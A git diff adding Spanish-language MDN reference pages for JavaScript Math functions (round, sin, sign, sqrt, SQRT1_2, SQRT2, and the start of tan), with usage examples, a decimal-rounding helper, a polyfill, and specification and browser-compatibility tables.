+<pre class="brush: js notranslate">// Retorna el valor 20
+x = Math.round(20.49);
+
+// Retorna el valor 21
+x = Math.round(20.5);
+
+// Retorna el valor -20
+x = Math.round(-20.5);
+
+// Retorna el valor -21
+x = Math.round(-20.51);
+
+// Retorna el valor 1 (!)
+// Note el error de redondeo debido a la inexactitud del punto aritmético.
+// Compare esto con Math.round10(1.005, -2) de el ejemplo de abajo.
+x = Math.round(1.005*100)/100;
+</pre>
+
+<h3 id="Redondeo_decimal">Redondeo decimal</h3>
+
+<pre class="brush: js notranslate">// Conclusión
+(function() {
+  /**
+   * Ajuste decimal de un número.
+   *
+   * @param {String}  tipo  El tipo de ajuste.
+   * @param {Number}  valor El numero.
+   * @param {Integer} exp   El exponente (el logaritmo 10 del ajuste base).
+   * @returns {Number} El valor ajustado.
+   */
+  function decimalAdjust(type, value, exp) {
+    // Si el exp no está definido o es cero...
+    if (typeof exp === 'undefined' || +exp === 0) {
+      return Math[type](value);
+    }
+    value = +value;
+    exp = +exp;
+    // Si el valor no es un número o el exp no es un entero...
+    if (isNaN(value) || !(typeof exp === 'number' &amp;&amp; exp % 1 === 0)) {
+      return NaN;
+    }
+    // Shift
+    value = value.toString().split('e');
+    value = Math[type](+(value[0] + 'e' + (value[1] ? (+value[1] - exp) : -exp)));
+    // Shift back
+    value = value.toString().split('e');
+    return +(value[0] + 'e' + (value[1] ? (+value[1] + exp) : exp));
+  }
+
+  // Decimal round
+  if (!Math.round10) {
+    Math.round10 = function(value, exp) {
+      return decimalAdjust('round', value, exp);
+    };
+  }
+  // Decimal floor
+  if (!Math.floor10) {
+    Math.floor10 = function(value, exp) {
+      return decimalAdjust('floor', value, exp);
+    };
+  }
+  // Decimal ceil
+  if (!Math.ceil10) {
+    Math.ceil10 = function(value, exp) {
+      return decimalAdjust('ceil', value, exp);
+    };
+  }
+})();
+
+// Round
+Math.round10(55.55, -1);   // 55.6
+Math.round10(55.549, -1);  // 55.5
+Math.round10(55, 1);       // 60
+Math.round10(54.9, 1);     // 50
+Math.round10(-55.55, -1);  // -55.5
+Math.round10(-55.551, -1); // -55.6
+Math.round10(-55, 1);      // -50
+Math.round10(-55.1, 1);    // -60
+Math.round10(1.005, -2);   // 1.01 -- compare this with Math.round(1.005*100)/100 above
+// Floor
+Math.floor10(55.59, -1);   // 55.5
+Math.floor10(59, 1);       // 50
+Math.floor10(-55.51, -1);  // -55.6
+Math.floor10(-51, 1);      // -60
+// Ceil
+Math.ceil10(55.51, -1);    // 55.6
+Math.ceil10(51, 1);        // 60
+Math.ceil10(-55.59, -1);   // -55.5
+Math.ceil10(-59, 1);       // -50
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>
+    <p>Definición inicial. Implementada en JavaScript 1.0.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.15', 'Math.round')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.round', 'Math.round')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>{{jsxref("Math.abs()")}}</li>
+ <li>{{jsxref("Math.ceil()")}}</li>
+ <li>{{jsxref("Math.floor()")}}</li>
+ <li>{{jsxref("Math.sign()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Math.trunc()")}} {{experimental_inline}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/math/seno/index.html b/files/es/web/javascript/referencia/objetos_globales/math/seno/index.html
new file mode 100644
index 0000000000..a89a6e635e
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/math/seno/index.html
@@ -0,0 +1,126 @@
+---
+title: Math.sin()
+slug: Web/JavaScript/Referencia/Objetos_globales/Math/seno
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/sin
+---
+<div>{{JSRef("Global_Objects", "Math")}}</div>
+
+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p>La función <strong><code>Math.sin()</code></strong><code> devuelve el seno de un número</code>.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox"><code>Math.sin(<var>x</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Parámetros</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Un número (en radianes).</dd>
+</dl>
+
+<h2 id="Description" name="Description">Descripción</h2>
+
+<p>El método <code>Math.sin()</code> devuelve  un valor numérico entre -1 y 1, que representa el seno del ángulo dado en radianes.<br>
+ Debido a que <code>sin()</code> es un método estático de <code>Math</code>, siempre se usa como <code>Math.sin()</code>, en vez de  crear un objeto <code>Math</code> y usarlo como un método (<code>Math</code> no es un constructor).</p>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<h3 id="Example:_Using_Math.sin" name="Example:_Using_Math.sin">Ejemplo: Usando <code>Math.sin()</code></h3>
+
+<pre class="brush: js">Math.sin(0);           // 0
+Math.sin(1);           // 0.8414709848078965
+
+Math.sin(Math.PI / 2); // 1
+</pre>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificaciones</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1ª Edición.</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definición inicial. Implementado en JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.16', 'Math.sin')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.sin', 'Math.sin')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad con navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome para Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Math.acos()")}}</li>
+ <li>{{jsxref("Math.asin()")}}</li>
+ <li>{{jsxref("Math.atan()")}}</li>
+ <li>{{jsxref("Math.atan2()")}}</li>
+ <li>{{jsxref("Math.cos()")}}</li>
+ <li>{{jsxref("Math.tan()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/math/sign/index.html b/files/es/web/javascript/referencia/objetos_globales/math/sign/index.html
new file mode 100644
index 0000000000..3c48027556
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/math/sign/index.html
@@ -0,0 +1,151 @@
+---
+title: Math.sign()
+slug: Web/JavaScript/Referencia/Objetos_globales/Math/sign
+tags:
+  - JavaScript
+  - Math
+  - Method
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/sign
+---
+<div>{{JSRef}}</div>
+
+<p>La función <strong><code>Math.sign()</code></strong> retorna el signo de un número, indicando si el número es positivo, negativo o cero.</p>
+
+<h2 id="Syntaxis">Syntaxis</h2>
+
+<pre class="syntaxbox"><code>Math.sign(<var>x</var>)</code></pre>
+
+<h3 id="Parametros">Parametros</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Un número.</dd>
+</dl>
+
+<h3 id="Valor_de_retorno.">Valor de retorno.</h3>
+
+<p>Un número representando el signo del argumento dado. Si el argumento es un número positivo, negativo, cero positivo, o cero negativo, la función retornará <code>1</code>, <code>-1</code>, <code>0</code> or <code>-0</code> respectivamente. De lo contrario, retorna {{jsxref("NaN")}}.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Como <code>sign()</code> es un método estático de <code>Math</code>, siempre se utiliza como <code>Math.sign()</code>, en vez de un método de un objeto Math que hayas creado. (<code>Math</code> no es un constructor).</p>
+
+<p>Esta función tiene 5 tipos de valores de retorno, <code>1</code>, <code>-1</code>, <code>0</code>, <code>-0</code>, <code>NaN</code>, que representan "número positivo", "número negativo", "cero positivo", "cero negativo" y {{jsxref("NaN")}} respectivamente.</p>
+
+<p>El argumento pasado a esta función será convertido a tipo <code>x</code> implicitamente.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_Math.sign()">Usando <code>Math.sign()</code></h3>
+
+<pre class="brush: js">Math.sign(3);     //  1
+Math.sign(-3);    // -1
+Math.sign('-3');  // -1
+Math.sign(0);     //  0
+Math.sign(-0);    // -0
+Math.sign(NaN);   // NaN
+Math.sign('foo'); // NaN
+Math.sign();      // NaN
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<pre class="brush: js">if (!Math.sign) {
+  Math.sign = function(x) {
+    // Si x es NaN, el resultado es NaN.
+    // Si x es -0, el resultado es -0.
+    // Si x es +0, el resultado es +0.
+    // Si x es negativo y no -0, el resultado es -1.
+    // Si x es positivo y no +0, el resultado es +1.
+    x = +x; // convertir a número
+    if (x === 0 || isNaN(x)) {
+      return Number(x);
+    }
+    return x &gt; 0 ? 1 : -1;
+  };
+}</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.sign', 'Math.sign')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.sign', 'Math.sign')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Propiedad</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatChrome("38")}}</td>
+   <td>{{CompatGeckoDesktop("25")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera("25")}}</td>
+   <td>{{CompatSafari("9")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Propiedad</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("25")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_También">Ver También</h2>
+
+<ul>
+ <li>{{jsxref("Math.abs()")}}</li>
+ <li>{{jsxref("Math.ceil()")}}</li>
+ <li>{{jsxref("Math.floor()")}}</li>
+ <li>{{jsxref("Math.round()")}}</li>
+ <li>{{jsxref("Math.trunc()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/math/sqrt/index.html b/files/es/web/javascript/referencia/objetos_globales/math/sqrt/index.html
new file mode 100644
index 0000000000..a3977c6f08
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/math/sqrt/index.html
@@ -0,0 +1,134 @@
+---
+title: Math.sqrt()
+slug: Web/JavaScript/Referencia/Objetos_globales/Math/sqrt
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/sqrt
+---
+<div>{{JSRef}}</div>
+
+<p>La  función <strong><code>Math.sqrt()</code></strong> retorna la raíz cuadrada de un número, que es<math display="block"><semantics><mrow><mi>x</mi><mo>≥</mo><mn>0</mn><mo>,</mo><mstyle mathvariant="monospace"><mrow><mi>M</mi><mi>a</mi><mi>t</mi><mi>h</mi><mo>.</mo><mi>s</mi><mi>q</mi><mi>r</mi><mi>t</mi><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><msqrt><mi>x</mi></msqrt><mo>=</mo><mtext>the unique</mtext><mspace width="thickmathspace"></mspace><mi>y</mi><mo>≥</mo><mn>0</mn><mspace width="thickmathspace"></mspace><mtext>such that</mtext><mspace width="thickmathspace"></mspace><msup><mi>y</mi><mn>2</mn></msup><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\forall x \geq 0, \mathtt{Math.sqrt(x)} = \sqrt{x} = \text{the unique} \; y \geq 0 \; \text{such that} \; y^2 = x</annotation></semantics></math></p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code>Math.sqrt(<var>x</var>)</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Un numero</dd>
+</dl>
+
+<h3 id="Valor_de_Retorno">Valor de Retorno</h3>
+
+<p>La raíz cuadrada del número proporcionado. Si los números son negativos, {{jsxref("NaN")}} es devuelto.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Si el valor de <code>x</code> es negativo <code>Math.sqrt()</code> retorna {{jsxref("NaN")}}.</p>
+
+<p>Debido a que <code>sqrt()</code> es un método estático de <code>Math</code>, siempre úsalo como <code>Math.sqrt()</code>, en lugar de un método del objeto <code>Math</code> que hayas creado (<code>Math</code> no es un constructor).</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_Math.sqrt()">Usando <code>Math.sqrt()</code></h3>
+
+<pre class="brush: js">Math.sqrt(9); // 3
+Math.sqrt(2); // 1.414213562373095
+
+Math.sqrt(1);  // 1
+Math.sqrt(0);  // 0
+Math.sqrt(-1); // NaN
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definición inicial. Implementada en JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.17', 'Math.sqrt')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.sqrt', 'Math.sqrt')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.sqrt', 'Math.sqrt')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad">Compatibilidad</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Math.cbrt()")}}</li>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.pow()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/math/sqrt1_2/index.html b/files/es/web/javascript/referencia/objetos_globales/math/sqrt1_2/index.html
new file mode 100644
index 0000000000..de9bd99eb9
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/math/sqrt1_2/index.html
@@ -0,0 +1,123 @@
+---
+title: Math.SQRT1_2
+slug: Web/JavaScript/Referencia/Objetos_globales/Math/SQRT1_2
+tags:
+  - JavaScript
+  - Math
+  - Propiedad
+  - Referencia
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/SQRT1_2
+---
+<div>{{JSRef}}</div>
+
+<div>La propiedad <strong><code>Math.SQRT1_2</code></strong> representa la raiz cuadrada de 1/2, la cual es equivalente al inverso de la raiz cuadrada de 2, aproximadadamente 0.707:</div>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mi>Math.SQRT1_2</mi></mstyle><mo>=</mo><msqrt><mfrac><mn>1</mn><mn>2</mn></mfrac></msqrt><mo>=</mo><mfrac><mn>1</mn><msqrt><mn>2</mn></msqrt></mfrac><mo>≈</mo><mn>0.707</mn></mrow><annotation encoding="TeX">\mathtt{\mi{Math.SQRT1_2}} = \sqrt{\frac{1}{2}} = \frac{1}{\sqrt{2}} \approx 0.707</annotation></semantics></math></p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Debido a que SQRT1_2 es una propiedad estatica de Math, siempre debes utilizarla como Math.SQRT1_2, en lugar de invocarla como una propiedad de alguna instancia de Math que hayas creado ( Math no es un constructor ).</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Utilizando_Math.SQRT1_2">Utilizando <code>Math.SQRT1_2</code></h3>
+
+<p>La siguiente funcion regresa la raiz cuadrada de 1/2:</p>
+
+<pre class="brush:js">function getRoot1_2() {
+  return Math.SQRT1_2;
+}
+
+getRoot1_2(); // 0.7071067811865476
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definición inicial. Implementado en Javascript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.1.7', 'Math.SQRT1_2')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.sqrt1_2', 'Math.SQRT1_2')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.sqrt1_2', 'Math.SQRT1_2')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Navegadores_Compatibles">Navegadores Compatibles</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte basico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte basico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_Tambien">Ver Tambien</h2>
+
+<ul>
+ <li>{{jsxref("Math.pow()")}}</li>
+ <li>{{jsxref("Math.sqrt()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/math/sqrt2/index.html b/files/es/web/javascript/referencia/objetos_globales/math/sqrt2/index.html
new file mode 100644
index 0000000000..7e23295f25
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/math/sqrt2/index.html
@@ -0,0 +1,124 @@
+---
+title: Math.SQRT2
+slug: Web/JavaScript/Referencia/Objetos_globales/Math/SQRT2
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/SQRT2
+---
+<div>{{JSRef}}</div>
+
+<div>La propiedad <strong>Math.SQRT2</strong> representa la raíz cuadrada de de 2, aproximadamente 1.414:</div>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mi>Math.SQRT2</mi></mstyle><mo>=</mo><msqrt><mn>2</mn></msqrt><mo>≈</mo><mn>1.414</mn></mrow><annotation encoding="TeX">\mathtt{\mi{Math.SQRT2}} = \sqrt{2} \approx 1.414</annotation></semantics></math></p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Debido a que SQRT2 es una propiedad estática de <code>Math</code>, siempre se utiliza como <code>Math.SQRT2</code>, en lugar de una propiedad de un objeto <code>Math</code> creado<code>.</code></p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Utilizando_Math.SQRT2">Utilizando Math.SQRT2</h3>
+
+<p>La siguiente función retorna la raíz cuadrada de 2:</p>
+
+<pre class="brush: js">function getRoot2() {
+  return Math.SQRT2;
+}
+
+getRoot2(); // 1.4142135623730951
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>
+    <p>Definición inicial. Implementada en JavaScript 1.0.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.1.8', 'Math.SQRT2')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.sqrt2', 'Math.SQRT2')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.sqrt2', 'Math.SQRT2')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="sect1"> </h2>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Math.pow()")}}</li>
+ <li>{{jsxref("Math.sqrt()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/math/tan/index.html b/files/es/web/javascript/referencia/objetos_globales/math/tan/index.html
new file mode 100644
index 0000000000..8a773b0da5
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/math/tan/index.html
@@ -0,0 +1,82 @@
+---
+title: Math.tan()
+slug: Web/JavaScript/Referencia/Objetos_globales/Math/tan
+tags:
+  - Matemáticas
+  - Referencia
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/tan
+---
+<div>{{JSRef}}</div>
+
+<p>La función <strong><code>Math.tan()</code></strong> retorna la tangente de un número.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-tan.html")}}</div>
+
+<p class="hidden">La fuente para este ejemplo interactivo se encuentra almacenada en un repositorio de GitHub. Si quieres contribuir al proyecto de ejemplos interactivos, por favor, clona el repositorio en este link: <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> y envíanos un <em>Pull Request</em>.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code>Math.tan(<var>x</var>)</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Un número que representa un ángulo en radianes.</dd>
+</dl>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>La tangente del número proporcionado.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
